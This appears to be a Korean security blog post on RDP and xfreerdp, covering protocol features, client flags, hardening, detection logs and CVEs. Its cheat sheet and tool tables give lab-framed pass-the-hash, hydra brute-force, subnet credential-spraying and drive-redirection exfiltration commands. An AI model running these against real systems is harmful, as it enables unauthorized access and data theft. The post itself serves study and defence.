본문 바로가기
인프라/네트워크

RDP (xfreerdp)

Elpam•2026. 4. 7. 23:47

💡 RDP & xfreerdp 심층 분석 및 인프라 보안 실무 가이드 (Master Spec)

📌 핵심 요약 (TL;DR)

  • 본질: Microsoft에서 개발한 L7 프로토콜(TCP/UDP 3389)로, 네트워크를 통해 다른 컴퓨터의 데스크톱(GUI) 환경에 접속하여 그래픽, 오디오, 클립보드, 로컬 드라이브 자원을 양방향 통신하는 핵심 원격 제어 규격임.
  • 위협 및 목적: 공격자에게 RDP는 터미널(CLI) 쉘의 한계를 넘어 타겟 시스템을 완벽한 시각적·물리적 수준으로 장악하게 해주는 종착지이며, 취약한 암호(Brute-force)나 탈취한 해시(Pass-the-Hash)를 통한 전사망 횡적 이동의 1순위 타겟임.
  • 대응 방안: 외부 인터넷(NAT)에 대한 TCP 3389 노출을 절대 금지하고, NLA(네트워크 수준 인증) 강제, RDP Gateway 구축, VPN 연동 및 클립보드/로컬 드라이브 리다이렉션 차단 정책(GPO)을 인포싱해야 함.

📑 목차 (Table of Contents)

⚠️ 면책 조항 (Disclaimer)
본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(개인 VM 및 합법적 모의해킹 계약 범위)에서만 수행됨.
허가되지 않은 타인의 시스템에 대한 무단 접근 및 페이로드 주입 시도는 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제48조 위반으로 형사처벌 대상임.
모든 분석은 벤더사 공식 레퍼런스 및 NVD 공인 데이터를 기반으로 작성됨.

📖 학습 목적: 보안 취약점의 동작 원리를 이해하고 방어 전략을 수립하기 위한 학습 및 지식 공유 목적임. 모든 실습은 허가된 통제 환경에서만 진행함.

자주 등장하는 용어 (초보자 참고)

약어 전체 명칭 한 줄 설명
RDP Remote Desktop Protocol Windows 시스템을 원격에서 그래픽 환경(GUI)으로 제어하기 위한 ITU-T T.128 기반 프로토콜임
xfreerdp FreeRDP Client Linux(Kali) 환경에서 윈도우 RDP 서버에 접속하기 위해 사용하는 가장 강력한 오픈소스 클라이언트 도구임
NLA Network Level Authentication RDP 세션 화면(GUI)을 띄우기 '전'에 클라이언트의 자격증명을 먼저 검증하도록 강제하는 필수 보안 메커니즘임
CredSSP Credential Security Support Provider RDP 연결 시 NLA를 처리하고 NTLM 또는 Kerberos 토큰을 안전하게 서버로 위임(Delegation)하는 프로토콜임
RDP Hijacking - 시스템 관리자(SYSTEM) 권한을 탈취한 후, 현재 접속 중이거나 끊어진 다른 사용자의 RDP 세션을 무단으로 가로채는 기법임
Restricted Admin 제한된 관리자 모드 RDP 접속 시 로컬 PC에 평문 패스워드나 해시를 남기지 않게 하여 Pass-the-Hash를 방어(역으로 공격에 악용됨)하는 모드임
BlueKeep CVE-2019-0708 사전 인증 없이 RDP 서비스에 특수 패킷을 보내 커널 원격 코드 실행(RCE)을 유발한 웜블루(Wormable) 취약점임
VDI Virtual Desktop Infrastructure 중앙 서버에서 다수의 데스크톱 가상 머신(VM)을 호스팅하고 사용자가 RDP 등을 통해 접속하는 엔터프라이즈 환경임

1. 🏗️ 아키텍처 및 랩(Lab) 토폴로지

  • 난이도: 고급
  • 주제 분류: 인프라 아키텍처 / Windows AD 보안 / 모의해킹
  • 핵심 키워드: #RDP #xfreerdp #BlueKeep #PassTheHash #인프라보안
  • 사전 지식: Windows RDP 채널 구조, NLA 메커니즘, TCP/UDP 3389 통신, 패스-더-해시 원리

(💡 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인 권장함.)

구분 OS / 플랫폼 (버전 필수) 컨테이너 / 네트워크 환경 IP 대역 인프라 내 역할
공격 (Red) Kali Linux 2026.x 네이티브 모의 공격망 10.0.0.50/24 xfreerdp, Hydra, Metasploit을 활용하여 RDP 브루트포스, PtH 횡적 이동, 클립보드 탈취를 수행하는 노드임
타겟 (Target) Windows Server 2019 온프레미스 망분리 대상 서버 10.0.0.100/24 관리 목적의 RDP(3389)가 개방되어 있으며, 취약한 NLA 설정 및 클립보드 공유가 허용된 AD 멤버 서버임
방어 (Blue) Graylog 5.x / OPNsense 온프레미스 망분리 게이트웨이 10.0.0.200/24 Windows Event Log(4624 Type 10, 4778) 수집 및 3389 포트 세션 타임아웃, 방화벽 IP 화이트리스팅을 관제함

아키텍처 통신 흐름도 (RDP 횡적 이동 킬체인 워크플로우)

[공격자 / Attacker : 10.0.0.50]                 [타겟 서버 : 10.0.0.100]
          |                                              |
          |-- (1) 정찰: Nmap 포트 3389 스캐닝 및 NLA 확인 ---->|
          |<- (2) 응답: X.509 인증서 및 프로토콜 규격 반환 ----|
          |                                              |
          |-- (3) 권한 획득: xfreerdp PtH 또는 자격증명 주입 ->|
          |<- (4) 세션 수립: GUI 화면 렌더링 및 통제권 반환 ---|
          |                                              |
          |-- (5) 악성 행위: 클립보드/로컬 드라이브 리다이렉션 마운트 ->|

2. 🧠 핵심 개념 및 기술적 정의

2-1. 상세 정의 및 동작 메커니즘

  • 정의: 서버 측의 그래픽 화면(Frame Buffer)을 캡처 및 압축하여 네트워크로 전송하고, 클라이언트 측의 키보드/마우스 입력 이벤트를 서버로 전달하는 고도의 양방향 스트리밍 프로토콜임.
  • 탄생 배경: 1998년 Windows NT 4.0 Terminal Server Edition에서 처음 도입되었으며, 기업 환경에서 중앙 집중식 애플리케이션 배포 및 원격 서버 관리를 위해 필수불가결한 기술로 진화함.
  • 인프라 내 역할: 데이터센터에 물리적으로 접근할 수 없는 서버 엔지니어의 유지보수, 사내망 VDI 인프라의 클라이언트 접속 채널, 클라우드(AWS/Azure) Windows 인스턴스의 디폴트 원격 제어 포트로 동작함.
  • 메커니즘 (Virtual Channel 아키텍처):
    • RDP는 단순한 화면 전송이 아님. 내부적으로 다수의 '가상 채널(Virtual Channels)'을 생성하여 그래픽 데이터, 오디오 스트림, 클립보드 복사/붙여넣기, 로컬 프린터 매핑, 스마트 카드 리다이렉션을 캡슐화하여 독립적으로 멀티플렉싱 전송함.

2-2. MITRE ATT&CK & Kill Chain 매핑

Kill Chain Phase MITRE Tactic (전술) Technique (기법) ID
Reconnaissance Discovery Network Service Discovery T1046
Exploitation Credential Access Brute Force: Password Guessing T1110.001
Exploitation Lateral Movement Remote Services: Remote Desktop Protocol T1021.001
Exploitation Lateral Movement Exploitation of Remote Services (BlueKeep) T1210
Actions on Objectives Credential Access Use Alternate Authentication Material: Pass the Hash T1550.002
Actions on Objectives Collection Clipboard Data (RDP Clipboard Redirection) T1115

3. ⚙️ 주요 특징 및 통신 규격 (전수 명세)

3-1. 기술적 핵심 특징 (8대 요소)

  • 특징 1 — NLA (Network Level Authentication): RDP 화면(로그인 창)을 네트워크에 노출하기 전, 클라이언트 측에서 미리 CredSSP를 통해 인증을 완료해야만 TCP 세션을 허용하는 방어 메커니즘임 (DoS 및 RCE 공격 표면을 극적으로 감소시킴).
  • 특징 2 — TLS/SSL 종단 간 암호화: 과거 평문(Native RDP Security) 시절의 취약점을 버리고, X.509 인증서를 기반으로 키 스트로크 및 화면 데이터를 강력하게 AES 암호화하여 스니핑을 방어함.
  • 특징 3 — 디바이스 리다이렉션 (Device Redirection): 클라이언트 로컬 PC의 하드 디스크(C:), USB 드라이브, 스마트 카드, 프린터 등을 원격 서버의 세션 안에 가상으로 마운트시키는 강력한 상호 연동성을 제공함 (정보 유출 벡터로 악용됨).
  • 특징 4 — 클립보드 공유 (Clipboard Sharing): 로컬과 원격 세션 간에 텍스트 및 파일 복사/붙여넣기(Ctrl+C/V)를 완벽히 동기화하는 가상 채널(cliprdr)을 지원함.
  • 특징 5 — 동적 대역폭 최적화 (Bitmap Caching): 반복되는 UI 요소(시작 버튼, 배경화면 등)를 클라이언트 메모리에 캐싱하고 델타(변화량)만 전송하여 저속 네트워크 환경에서도 GUI 반응성을 극대화함.
  • 특징 6 — Restricted Admin Mode: 도메인 관리자가 감염 의심 서버에 RDP로 접속할 때, 자신의 평문 자격증명이나 티켓이 타겟 메모리(LSASS)에 남지 않도록 제한하여 해시 탈취를 예방하는 아키텍처임.
  • 특징 7 — UDP 트랜스포트 지원 (RDP 8.0+): 기존 TCP 통신의 지연(Latency) 문제를 해결하기 위해 UDP 3389 기반의 FEC(Forward Error Correction) 로직을 추가하여 끊김 없는 영상/오디오 스트리밍을 구현함.
  • 특징 8 — 원격 데스크톱 게이트웨이 (RDP Gateway): 3389 포트를 외부로 개방하지 않고, HTTPS(TCP 443) 터널 안으로 RDP 트래픽을 캡슐화하여 방화벽을 통과시키는 엔터프라이즈 프록시 아키텍처임.

3-2. 실무 관점 장단점 (Pros & Cons 전수 명세)

구분 시스템 관점 특성 보안 및 실무 관점의 트레이드오프
장점 1 완벽한 Windows 네이티브 환경 타사 VNC 프로그램과 달리 OS 커널에 가장 깊숙이 통합되어 있어 그래픽 가속 및 안정성이 압도적으로 뛰어남
장점 2 멀티 세션 및 프로필 격리 Server OS 환경에서는 여러 사용자가 동시에 각자의 독립된 GUI 세션을 열어 작업할 수 있는 터미널 서버 역할을 수행함
장점 3 원활한 로컬 자원 연동 집에서 접속해도 사무실 PC의 USB나 로컬 프린터를 투명하게 사용할 수 있어 원격 근무(Telework) 효율성이 극대화됨
장점 4 세밀한 GPO 통제 클립보드 허용, 드라이브 연결, 해상도 제한, 유휴 세션 타임아웃 등 수십 가지 설정을 AD 그룹 정책으로 일괄 통제 가능함
장점 5 통합 인증(SSO) 시너지 Kerberos 인프라와 결합 시 패스워드 재입력 없이 스마트 카드나 윈도우 헬로(Hello)만으로 RDP 로그인 투과가 가능함
단점 1 랜섬웨어 및 해커의 최우선 타겟 외부망(NAT)에 3389 포트를 개방하는 것은 인프라 자살 행위이며, 전 세계 스캐너 봇들의 24시간 브루트포스 타겟 1순위임
단점 2 자격증명 메모리 잔류 리스크 일반 접속 시 관리자의 패스워드/해시가 타겟 PC의 LSASS 프로세스 메모리에 그대로 적재되어 미미카츠(Mimikatz)에 탈취됨
단점 3 클립보드/드라이브 데이터 유출 악성코드에 감염된 원격 서버에서 해커가 역으로 클라이언트 PC의 클립보드를 스니핑하거나 로컬 드라이브(C:)에 접근할 수 있음
단점 4 세션 하이재킹(Hijacking) 취약점 SYSTEM 권한이 뚫릴 경우 현재 사용 중인 다른 관리자의 RDP 세션을 화면 그대로 탈취하여(tscon.exe) 작업 권한을 찬탈당함
단점 5 무거운 대역폭 및 트래픽 시그니처 커맨드라인(SSH) 대비 트래픽 오버헤드가 크며, 네트워크 딥 스니핑 시 RDP 통신 여부와 키 입력 델타 값이 추적될 수 있음

3-3. 서비스 포트 및 통신 규격 (IANA Protocol Specification 전체)

포트 프로토콜 서비스명 IANA 공식 역할 보안 위협 및 공격 벡터
3389 TCP MS WBT Server RDP 세션 초기화, 인증, 암호화 협상 및 메인 데이터 채널을 담당하는 레거시 및 최신 코어 포트임 Shodan 노출 1순위 포트이며 딕셔너리 어택, BlueKeep RCE, RDP 하이재킹의 단일 출입구임
3389 UDP MS WBT Server RDP 8.0 이상에서 동영상 재생, 3D 렌더링 등 지연 민감형 데이터를 초고속으로 전송하기 위한 부가 채널임 UDP 플러딩(Flooding) 반사 공격 대상이 되거나, TCP 필터링 방화벽을 우회하는 맹점으로 악용됨
443 TCP HTTPS (RDG) RDP Gateway 역할을 수행하며, 방화벽(80/443만 허용된 환경) 통과를 위해 RDP 패킷을 TLS 캡슐로 래핑함 관리자가 방심하여 MFA(다중 인증) 없이 RDG를 외부에 열어둘 경우, 크레덴셜 스터핑에 의해 사내망 전체가 유린됨

4. 🛠️ 인프라 셋업 및 구축 명세

4-1. 사전 요구 사항 (Dependencies)

  • 공격/클라이언트 환경: Kali Linux 또는 Ubuntu (FreeRDP 의존성 패키지)
  • 타겟 서버 환경: Windows 10/11 Pro 이상 또는 Windows Server 계열
  • 방화벽 룰셋: 온프레미스 망분리 구역 내에서 점프 호스트(Bastion) IP에서만 타겟망 3389로 접근 가능하도록 OPNsense ACL 화이트리스트 강제 통제.

4-2. 시스템 구축 및 보안 하드닝 (Step-by-Step)

# [Step 1: Kali/Ubuntu 환경에 가장 최신 보안 패치가 적용된 xfreerdp 클라이언트 전면 설치]
sudo apt update && sudo apt install -y freerdp2-x11

# [Step 2: Windows 타겟 서버에서 PowerShell을 통한 RDP 활성화 및 NLA 강제 하드닝]
# (Windows Server 관리자 권한 콘솔에서 실행)
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -value 1

# [Step 3: 침투 방어를 위한 RDP 클립보드 매핑 및 드라이브 리다이렉션 원천 차단 (레지스트리 튜닝)]
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services' -name "fDisableClip" -value 1
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services' -name "fDisableCdm" -value 1

5. 📖 상세 명세 (명령어 / 실행 옵션 / 상태 코드 전수 목록)

5-1. 기본 구문 및 명령어 구조 (Syntax)

📌 Syntax 표기법: &lt;필수항목&gt; = 반드시 입력 (Required) · [선택항목] = 생략 가능 (Optional)

# xfreerdp 구문 아키텍처 (Linux/FreeRDP2 기준)
# 주의: xfreerdp는 일반적인 '-옵션'이 아닌 '/옵션:값' 형태의 고유 파라미터 문법을 사용함.
xfreerdp /v:&lt;타겟_IP_또는_도메인&gt;[:포트] [/u:&lt;사용자명&gt;] [/p:&lt;패스워드_또는_해시&gt;] [기타_제어_플래그...]

파라미터별 상세 설명

파라미터 필수 여부 타입 역할 및 설명 실전 값 예시
xfreerdp 필수 실행 파일 X11 윈도우 시스템 기반에서 동작하는 고성능 FreeRDP 바이너리임 xfreerdp
/v:&lt;타겟&gt; 필수 대상 접속할 원격 윈도우 서버의 IP 또는 호스트명을 지정함 (포트 생략 시 3389) /v:10.0.0.100, /v:server.corp.local:33899
/u:&lt;유저&gt; 선택 계정 RDP 로그인에 사용할 시스템/도메인 계정명을 지정함 /u:Administrator, /u:elpam
/p:&lt;암호&gt; 선택 암호 평문 비밀번호 지정 (보안상 주의 요구, 누락 시 프롬프트에서 안전하게 입력받음) /p:Password123!
/d:&lt;도메인&gt; 선택 도메인 Active Directory 환경 접속 시 대상 도메인명을 명시적으로 지정함 /d:CORP

5-2. 실행 옵션 및 제어 플래그 (xfreerdp Execution Flags 전수 명세)

(오펜시브 및 디펜시브 실무에서 사용되는 xfreerdp의 모든 플래그를 축약 없이 100% 명세함.)

🖥️ 디스플레이, 네트워크 및 UX 제어 플래그

플래그 동작 원리 및 공식 매뉴얼 기반 전체 설명 완전한 실전 사용 예시
/f 클라이언트 GUI 창을 로컬 모니터의 전체 화면(Fullscreen) 모드로 강제 렌더링함 xfreerdp /v:10.0.0.100 /u:admin /f
/size:&lt;W&gt;x&lt;H&gt; RDP 세션 창의 물리적 해상도(가로x세로 픽셀)를 고정 지정함 (/w, /h 대체 가능) xfreerdp /v:10.0.0.100 /u:admin /size:1920x1080
/multimon 로컬 클라이언트에 연결된 다중 모니터 환경을 원격 세션에도 그대로 확장 동기화함 xfreerdp /v:10.0.0.100 /u:admin /multimon
/bpp:&lt;비트&gt; 픽셀당 색상 심도(Bits Per Pixel)를 지정함 (보통 8, 16, 24, 32). 저대역폭 최적화 시 16 사용함 xfreerdp /v:10.0.0.100 /u:admin /bpp:16
/dynamic-resolution 사용자가 마우스로 RDP 창 크기를 조절할 때 타겟 서버의 렌더링 해상도를 실시간 동적 변환시킴 xfreerdp /v:10.0.0.100 /u:admin /dynamic-resolution
/network:&lt;타입&gt; 대역폭 상태에 맞춰 그래픽/캐시 성능을 조절함 (modem, broadband, lan, auto 등) xfreerdp /v:10.0.0.100 /u:admin /network:lan
/gfx RDP 8.0 이상에서 지원하는 최신 그래픽 파이프라인(H.264/AVC444) 하드웨어 가속을 켬 xfreerdp /v:10.0.0.100 /u:admin /gfx

🛠️ 자원 리다이렉션 및 프록시 제어 (오펜시브 핵심 기능)

플래그 동작 원리 및 공식 매뉴얼 기반 전체 설명 완전한 실전 사용 예시
/clipboard 로컬(해커)과 원격 타겟 간의 클립보드(복사/붙여넣기) 양방향 동기화를 활성화함 xfreerdp /v:10.0.0.100 /u:admin /clipboard
/drive:&lt;이름&gt;,&lt;경로&gt; 해커의 로컬 리눅스 디렉터리를 윈도우 원격 세션 내에 '공유 드라이브' 형태로 물리 마운트시킴 xfreerdp /v:10.0.0.100 /u:admin /drive:share,/tmp/payloads
/sound 원격지 서버에서 발생하는 시스템 경고음, 오디오 스트림을 해커의 로컬 스피커로 포워딩함 xfreerdp /v:10.0.0.100 /u:admin /sound
/microphone 해커 로컬의 마이크 입력을 타겟 서버로 투입하여 음성 도청이나 원격 통신에 악용할 때 쓰임 xfreerdp /v:10.0.0.100 /u:admin /microphone
/proxy:&lt;SOCKS5&gt; 네트워크 L3/L4 방화벽을 우회하기 위해 지정된 SOCKS5 프록시(Chisel, SSH 터널)를 타고 접속함 xfreerdp /v:10.0.0.100 /u:admin /proxy:socks5://127.0.0.1:1080

🛡️ 보안, 인증 및 암호화 제어 (Pass-the-Hash 포함)

플래그 동작 원리 및 공식 매뉴얼 기반 전체 설명 완전한 실전 사용 예시
/pth:&lt;해시&gt; [모의해킹 핵심] 평문 패스워드 대신 탈취한 NTLM 해시값을 그대로 밀어넣어 RDP 인증을 바이패스함 xfreerdp /v:10.0.0.100 /u:admin /pth:88e4d9faba698...
/cert:ignore 대상 서버가 자체 서명(Self-Signed) 인증서를 사용하여 인증 오류가 나더라도 무시하고 강제 접속함 xfreerdp /v:10.0.0.100 /u:admin /cert:ignore
/sec:&lt;레벨&gt; 서버와 협상할 보안 프로토콜을 강제함 (선택지: rdp, tls, nla, ext). 모의해킹 시 하향 조절에 쓰임 xfreerdp /v:10.0.0.100 /u:admin /sec:nla
/gateway:g:&lt;gw&gt; RDP 트래픽을 중계할 원격 데스크톱 게이트웨이(RDG) 주소와 캡슐화 옵션을 맵핑함 xfreerdp /v:10.0.0.100 /u:admin /gateway:g:gw.corp.com,u:admin,p:pass
+restricted-admin 내 크레덴셜이 타겟 메모리에 남지 않도록 Restricted Admin 모드로 접속을 강제 요청함 xfreerdp /v:10.0.0.100 /u:admin /p:pass +restricted-admin

5-3. 비대화형 정찰 및 익스플로잇 도구 (Offensive Tooling)

명령어 (Tool) 파싱 메커니즘 및 런타임 결과 완전한 실전 사용 예시
crackmapexec (CME) Python 기반의 스위스 아미 나이프로, RDP 포트 활성화 여부 및 NLA 상태를 병렬로 초고속 스캐닝함 crackmapexec rdp 10.0.0.0/24 -u admin -p pass123
hydra RDP 3389 포트를 대상으로 사용자 이름과 패스워드 딕셔너리를 무차별 대입(Brute-force) 타격함 hydra -L users.txt -P pass.txt rdp://10.0.0.100
nmap (rdp-enum) Nmap NSE 스크립트를 사용하여 RDP 서버가 지원하는 암호화 스위트와 인증서 정보(Subject)를 덤프함 nmap -p 3389 --script rdp-enum-encryption 10.0.0.100

5-4. 대화형 인세션(In-Session) 제어 및 런타임 핫키 전수 명세

(xfreerdp는 FTP처럼 CLI 명령어를 치는 구조가 아님. 타겟 화면을 띄운 상태(In-Session)에서 세션을 제어하고 클라이언트의 통제권을 다루는 키보드 단축키(Hotkeys)가 대화형 명령어의 역할을 완벽히 수행함.)

단축키 (Hotkey) 기술적 동작 및 런타임 결과 설명 적용 시나리오
Ctrl + Alt + Enter 클라이언트 창의 렌더링 모드를 전체 화면(Fullscreen)과 창 모드(Windowed) 사이에서 토글함 듀얼 모니터 환경에서 해커의 로컬 터미널과 타겟 서버 GUI를 번갈아 모니터링할 때 씀
Right Ctrl xfreerdp가 쥐고 있는 키보드 및 마우스 입력 제어권(Grab)을 해제하여 로컬 호스트로 반환함 RDP 세션 안에서 갇히지 않고, 즉시 로컬 리눅스의 터미널 명령어를 타이핑해야 할 때 씀
Ctrl + Alt + End 타겟 윈도우 서버 시스템 커널로 Ctrl + Alt + Del 보안 주의 시퀀스(SAS) 인터럽트를 직접 사출함 원격 서버의 화면 보호기를 해제하거나 작업 관리자를 띄워 프로세스 트리를 분석할 때 씀
Ctrl + Alt + Break 구형 RDP 프로토콜 스택 환경에서 전체 화면 모드를 빠져나오는 고전적인 이스케이프 키 조합임 리눅스 X11 매니저와 xfreerdp 창이 충돌하여 마우스가 빠져나오지 못하는 락(Lock) 장애 시 씀

5-5. 프로토콜 응답 상태 코드 (RDP/NLA Error & Disconnect Codes 전수 명세)

(RDP 접속 실패 또는 세션 종료 시 클라이언트 콘솔 및 서버 시스템 이벤트 로그에 기록되는 핵심 커널/네트워크 상태 코드임.)

상태 코드 / 에러 메시지 응답 사유 및 통신 양상 보안 방어 관점의 탐지 및 에러 해결 의미
ERRCONNECT_NLA_PARAM 클라이언트가 NLA(네트워크 수준 인증)를 지원하지 않거나 설정이 불일치하여 초기 패킷 교환이 거절됨 구형 클라이언트를 최신 버전(xfreerdp 등)으로 업데이트하거나, 타겟 서버의 NLA 강제 옵션을 점검해야 함
ERRINFO_CB_DEST_NOT_FOUND RDP 연결 브로커(Connection Broker)를 통해 터미널 팜에 접속하려 했으나 할당된 팜/가상 데스크톱을 찾지 못함 VDI 인프라 아키텍처의 부하 분산(Load Balancing) 혹은 AD 그룹 할당 매핑 장애 시 추적 지표임
ERRCONNECT_TLS_CONNECT_FAILED TLS/SSL 핸드셰이크 과정에서 암호화 스위트(Cipher Suite) 불일치 또는 포트 차단으로 인해 캡슐화가 박살남 타겟 시스템이 FIPS 140-2 컴플라이언스 모드이거나 중간의 IPS/차세대 방화벽이 TLS 트래픽을 잘라먹은 상태임
CredSSP encryption oracle remediation CVE-2018-0886 패치 이후, 서버와 클라이언트 간의 CredSSP 보안 패치 레벨이 달라 상호 신뢰가 깨져 연결이 거부됨 보안 컴플라이언스 문제로, 클라이언트와 서버 모두 최신 Windows 누적 업데이트 패치를 일괄 적용하여 무결성을 맞춰야 함
STATUS_LOGON_FAILURE NLA 인증 단계에서 ID/PW 오타 또는 Brute-force 공격으로 인해 AD 인증 센터에서 거부 토큰을 반환함 이 오류가 단일 소스 IP에서 수초 내 수십 번 발생하면 명백한 RDP 사전 대입(Dictionary) 킬체인 가동 징후임
0x00000001 (Disconnect: Active) 활성화된 RDP 세션이 네트워크 장애가 아닌, 관리자의 로컬 콘솔 개입에 의해 의도적으로 로그오프 단절됨 정상적인 업무 종료이거나 백도어 작업 완료 후 해커가 추적을 피하기 위해 세션을 명시적으로 삭제한 상태임
0x00000003 (Disconnect: Replaced) 완전히 동일한 자격증명을 사용하는 다른 클라이언트가 접속하여, 기존에 띄워져 있던 RDP 세션 화면을 강제로 뺏어감 타겟 계정이 해킹되어 해커가 동시 접속을 시도했거나, RDP 하이재킹(Session Hijacking)이 발생한 치명적 침해 지표임
0x00000114 (Disconnect: Network Err) 인증 및 렌더링 도중 네트워크 라우팅 레이어(L3/L4)에서 패킷 타임아웃이 발생하여 소켓이 찢어짐 중간에 위치한 OPNsense 방화벽의 세션 타임아웃 룰셋이 가동되었거나, IDS가 악성 페이로드를 인지하고 RST을 날린 상태임

5-6. DFIR: 로그 및 트래픽 탐지 포인트 (블루팀 헌팅 지표)

  • Windows 로그 (RDP 접속 성공): Event ID 4624 (Logon Type: 10 / RemoteInteractive) — 네트워크가 아닌 원격 'GUI 콘솔' 수준으로 시스템에 사용자가 진입했음을 알리는 가장 치명적인 인프라 개방 지표임. 심야 시간대 10번 타입 로그는 1순위 SOC 알람 대상임.
  • Windows 로그 (RDP 세션 가로채기 헌팅): Event ID 4778 (Session Reconnected) / Event ID 4779 (Session Disconnected) — 공격자가 tscon.exe 커맨드를 악용해 현재 실행 중인 다른 최고 관리자의 세션 화면을 강제로 자신의 화면으로 끌고 오는 하이재킹 공격 발생 시 즉각 탐지됨.
  • 클립보드 데이터 유출 헌팅: Event ID 50000 등 RDP 그래픽 채널 로그 강제 감사를 활성화(서드파티 EDR 의존)하여 rdpclip.exe 프로세스가 비정상적으로 대용량 텍스트(예: 소스코드, 고객 DB)를 메모리에 버퍼링하는 아노말리를 스크래핑함.
  • 레지스트리 탬퍼링 헌팅: Event ID 4657 (A registry value was modified) — 악성코드가 시스템 장악 후 원격 통로를 확보하기 위해 fDenyTSConnections 값을 0으로 조작(방화벽 강제 오픈)하는 치명적 탬퍼링 행위를 역추적함.

원시 로그(Raw Log) 및 패킷 캡처 덤프

# [File: Windows Security Event Log — Event ID 4624 (RDP GUI 접속 성공 흔적)]
LogName=Security
EventCode=4624
Message=An account was successfully logged on.
Subject:
    Security ID:        NULL SID
Logon Information:
    Logon Type:        10  [💡 RDP(RemoteInteractive) 접속을 의미함]
    Authentication Package:    Negotiate
Network Information:
    Workstation Name:    KALI-ATTACKER
    Source Network Address:    10.0.0.50

# [File: Suricata NIDS Alert — RDP 브루트포스 폭격 헌팅 흔적]
05/11/2026-03:15:22.123  [**] [1:2019020:3] ET SCAN Behavioral Unusually fast Terminal Server Connections [**] {TCP} 10.0.0.50:54321 -> 10.0.0.100:3389

6. 🚀 핵심 페이로드 치트시트 (Cheat Sheet)

페이로드 (One-Liner) 파싱 메커니즘 및 런타임 결과 목적 / 우회 기법
xfreerdp /v:10.0.0.100 /u:admin /pth:88e4d9faba... /cert:ignore 평문 패스워드 입력 없이, 추출한 NT 해시값을 인라인으로 밀어 넣어 NLA 기반 인증을 강제 통과시킴 크래킹 불가능한(30자리 이상) 고강도 패스워드를 우회하여 서버의 GUI 데스크톱을 탈취하는 Pass-the-Hash 킬체인용임
xfreerdp /v:10.0.0.100 /u:admin /p:pass /drive:loot,/root/loot 해커의 로컬 /root/loot 디렉터리를 윈도우 원격 서버에 \\tsclient\loot 네트워크 드라이브 형태로 강제 마운트함 타겟 시스템의 주요 데이터베이스나 설정 파일을 내 로컬 폴더로 드래그 앤 드롭하여 즉시 정보 반출(Exfil)할 때 쓰임
crackmapexec rdp 10.0.0.0/24 -u admin -p Pass123 CrackMapExec 모듈을 통해 서브넷 255대의 RDP 포트를 동시에 찌르며 해당 자격증명이 유효한 타겟을 색출함 AD 환경에서 탈취한 공통 로컬 관리자 비밀번호가 어떤 서버들에 통용되는지 병렬 횡단 검증을 수행할 때 쓰임

7. 🎯 심층 킬체인 워크플로우 (Deep Dive)

7-1. 취약점 식별 (CVE / CWE 전수 명세)

식별 코드 취약점 명칭 및 익스플로잇 원리 CVSS v3.1 파급력 (Impact) 대응/패치
CVE-2019-0708 BlueKeep (RDP 커널 RCE) — termdd.sys 커널 모듈이 MS_T120 가상 채널 데이터를 처리할 때 발생하는 Use-After-Free 취약점으로, 인증 전(Pre-auth) RCE를 유발함 9.8 (Critical) 워너크라이 사태와 동일하게 단 1개의 매직 패킷으로 윈도우 커널 시스템을 블루스크린(BSOD) 내거나 SYSTEM 권한을 통째로 넘겨버림 NLA(네트워크 수준 인증)를 강제 활성화하고, 긴급 패치(KB4499175)를 적용하여 RDP 가상 채널 바인딩 로직을 무결하게 픽스함
CVE-2019-1181/1182 DejaBlue (RDP 커널 RCE) — BlueKeep 패치 이후 발견된 신형 버그로, 원격 데스크톱 서비스(RDS) 코어 내부의 정수 오버플로우를 악용하는 웜블루 취약점임 9.8 (Critical) 윈도우 7을 넘어 최신 윈도우 10/서버 계열까지 감염망을 넓혀 전사망 파괴(Wiper) 및 랜섬웨어 폭격에 악용됨 방화벽에서 불필요한 3389 트래픽을 즉각 차단하고, 월례 롤업 보안 업데이트를 자동 배포(WSUS) 적용함
CWE-288 Pass-the-Hash (RDP PtH) — 공격자가 덤프한 NT 해시값을 활용해 RDP Restricted Admin Mode의 맹점을 역이용, NLA 인증 절차를 통과해 버리는 구조적 결함 설계임 — 커맨드라인 쉘(SMB/WMI)을 넘어서, 관리자의 시야(GUI)와 똑같은 화면을 해커가 보면서 시각적으로 인프라를 유린함 LAPS(로컬 관리자 암호 솔루션)를 통해 각 PC의 해시값을 고유하게 분리하여 연쇄 해시 재사용 공격을 물리적으로 끊어버림
CWE-1188 Insecure Default Initialization (Clipboard/Drive) — 관리자 편의를 위해 RDP 설정 시 클립보드 및 로컬 드라이브 매핑이 디폴트 허용되어, 감염된 서버에서 클라이언트로 악성코드가 역주행 감염됨 — 방어자가 분석을 위해 감염 PC에 RDP로 들어간 순간, 해커가 방어자의 \\tsclient\C 드라이브에 악성코드를 덮어씌움 GPO(그룹 정책)에서 '드라이브 리다이렉션 허용 안 함' 및 '클립보드 리다이렉션 허용 안 함'을 Enforcing 상태로 못 박음

Vulnerability Deep Dive #1: BlueKeep (CVE-2019-0708) Pre-auth RCE

  • 연관 식별자: CVE-2019-0708 / MITRE T1210
  • 영향 버전: Windows XP, 7, Server 2003, 2008 R2 (패치 적용 전).
  • CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • 발생 원인 (Root Cause): RDP는 기본적으로 MS_T120이라는 마이크로소프트 내부 통신용 고정 가상 채널(채널 ID 31)을 사용함. 공격자가 악의적으로 조작된 채널 바인딩 패킷을 전송하여 해당 채널을 닫고 다시 열 때, termdd.sys 커널 드라이버에서 이미 해제된 메모리 포인터(Use-After-Free)를 다시 참조하는 치명적 로직 결함이 발생함.
  • 공격 성립 조건: NLA(네트워크 수준 인증)가 비활성화되어 있고, TCP 3389가 노출되어 있어야 함. (NLA가 활성화되어 있으면 채널 협상 이전에 인증을 요구하므로 익스플로잇 패킷이 커널에 도달하지 못함).
  • 파급력 (Impact): 인증(ID/PW) 절차 없이 즉각적으로 커널(Ring 0) 권한의 악성 쉘코드가 실행되어 블루스크린 유발 혹은 시스템 백도어가 완벽히 구축됨.

